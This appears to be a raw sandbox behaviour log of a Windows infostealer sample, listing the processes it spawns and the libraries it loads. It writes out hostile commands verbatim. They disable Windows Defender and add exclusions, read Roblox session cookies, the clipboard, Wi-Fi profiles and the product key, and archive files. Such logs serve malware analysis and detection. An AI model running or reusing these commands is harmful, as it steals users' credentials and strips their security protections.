              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Windows\System32\tasklist.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Users\user\Desktop\Built (1).exe "C:\Users\user\Desktop\Built (1).exe"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\getmac.exe getmac
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: python3.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: libffi-8.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: sqlite3.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: libcrypto-3.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: libssl-3.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
